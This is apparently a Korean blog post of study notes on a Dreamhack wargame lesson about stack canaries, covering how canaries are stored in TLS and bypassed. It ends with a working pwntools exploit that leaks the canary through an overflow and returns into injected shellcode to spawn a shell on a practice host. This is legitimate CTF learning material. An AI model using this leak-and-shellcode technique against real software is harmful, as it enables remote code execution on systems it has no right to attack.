Pwn
[PWN Dreamhack] Stack Canary
2025. 2. 21. 19:27

 

 

stack canary

  • 함수의 프롤로그에서 스택 버퍼와 반환주소 사에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법
    • 변조 감지시, 프로세스가 강제종료됨.
  • gcc -o no_canary canary.c -fno-stack-protector 로 카나리를 적용하지 않고 컴파일 한 결과와 비교해봤다.

  • fs:0x28의 데이터를 읽어 rax에 저장한다. fs는 세그먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때 fs:0x28에 랜덤값을 저장한다. 따라서 랜덤값이 rax에 저장되고, rbp-0x8에 저장된다.
    • fs : Thread Local Storage(TLS)를 가리키는 포인터로 사용 ( 카나리, 프로세스 실행에 필요한 여러 데이터가 저장 )

  • 카나리가 저장되는 부분을 살펴보면, 첫 바이트가 널바이트인 8바이트 데이터가 저장되어있다.
    • 만에 하나 버그가 발생해서 strcpy 등의 함수를 통해 스택을 복사하게 될 때, 널 바이트를 통해 카나리 값과 그 이후의 스택 값을 유출되지 않게 하기 위함

카나리 생성 과정

  • 카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장되고, 각 함수마다 프롤로그와 에필로그에서 이 값을 참조한다.
  • fs는 TLS를 가리키므로, fs를 알면 TLS의 주소를 알 수 있다. (직접 fs를 볼 수는 없음)
  • fs의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) syscall에 브포를 걸어 fs가 어떤값으로 설정되는지 조사해보자.
    • catch : 특정 이벤트 발생시, 프로세스 중지
      • catch syscall arch_prctl
        • rsi가 가리키는 값에 TLS를 저장할거고, fs가 이를 가리키게 될 것이다.
    • watch : 특정 주소에 저장된 값이 변경되면 프로세스를 중지
      • watch *(0x7ffff7d7f740+0x28) 로 TLS+0x28의 값을 조회하면(x/gx 0x7ffff7d7f740+0x28) 카나리 값 확인 가능

카나리 우회

< 공격 조건 >

- 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나 구할 수 있다.
- 실행 흐름을 옮길 수 있다. 

 

  1. TLS 접근
  • 카나리는 TLS에 저장되며 카나리에 의해 보호되는 함수마다 이를 참조해 사용한다.
    • TLS의 주소는 매 실행마다 바뀌지만, 만약 실행중에 TLS의 주소를 알 수 있고 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나 이를 임의의 값으로 조작 가능
    • 그 뒤, stack bof 수행시 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사를 우회가능
  1. 스택 카나리 릭
  • 스택 카나리를 읽을 수 있는 취약점이 있다면, 이를 이용하여 카나리 검사를 우회 가능

스택 카나리 실습

  1. 보호기법 탐지
  • checksec [파일명]
    • 오류시, export PATH="$HOME/.local/bin/:$PATH"
  1. 카나리까지의 거리를 구하여 +1 만큼 채워 카나리 값을 구한다.
  • canary = u64(b'\x00'+p.recvn(7))
  1. 쉘 코드를 버퍼에 삽입하고 해당 버퍼위치로 이동하게끔 RET를 넣어준다.
  • shellcode = asm(shellcraft.sh()), shellcode.ljust(canaryd,b'A')
  1. exploit
from pwn import *

#p = process("./r2s")
p = remote("host1.dreamhack.games",17968)

context.arch = 'amd64'

p.recvuntil(b": ")
buf = int(p.recvline()[:-1],16)
print("[+] Address of buf: {}".format(hex(buf)))
p.recvuntil(b": ")
distance = int(p.recvline()[:-1])
sfpd = distance
canaryd = sfpd-8
print("[+] buf <=> sfp: {}".format(hex(sfpd)))
print("[+] buf <=> canary: {}".format(hex(canaryd)))

payload1 = b'A'*(canaryd +1)

p.sendafter(b'Input:', payload1)
p.recvuntil(payload1)
canary = u64(b'\x00'+p.recvn(7))
print("[+] Canary: {}".format(canary))

# payload2 = shellcode내용 + dummy + canary + SFP + RET(buf주소)
shellcode = asm(shellcraft.sh())    # shellcode asm으로 만들기
payload2 = shellcode.ljust(canaryd,b'A')    # 크기만큼 오른쪽에  채워넣는다.
payload2 += p64(canary)
payload2 += b'S'*0x8
payload2 += p64(buf)

p.sendafter(b"Input: ",payload2)

p.interactive()

 

Arbitary Code Execution (ACE) : 임의의 코드 실행

Remote Code Execution(RCE) : 원격 코드 실행 <- NX(Not eXecutable), ASLR(Address Space Layout Randomization)

'Pwn' 카테고리의 다른 글

ROP 완벽 이해와 추가 예제 풀이  (0) 2025.02.26
[PWN Dreamhack] RTL, ROP  (0) 2025.02.22
[PWN Dreamhack] BOF  (0) 2025.02.21
[PWN Dreamhack] pwntools & Shellcode  (0) 2025.02.21
[PWN Dreamhack] 컴퓨터과학 배경지식  (0) 2025.02.20
let textNodes = document.querySelectorAll("div.tt_article_useless_p_margin.contents_style > *:not(figure):not(pre)"); textNodes.forEach(function(a) { a.innerHTML = a.innerHTML.replace(/`(.*?)`/g, '$1'); });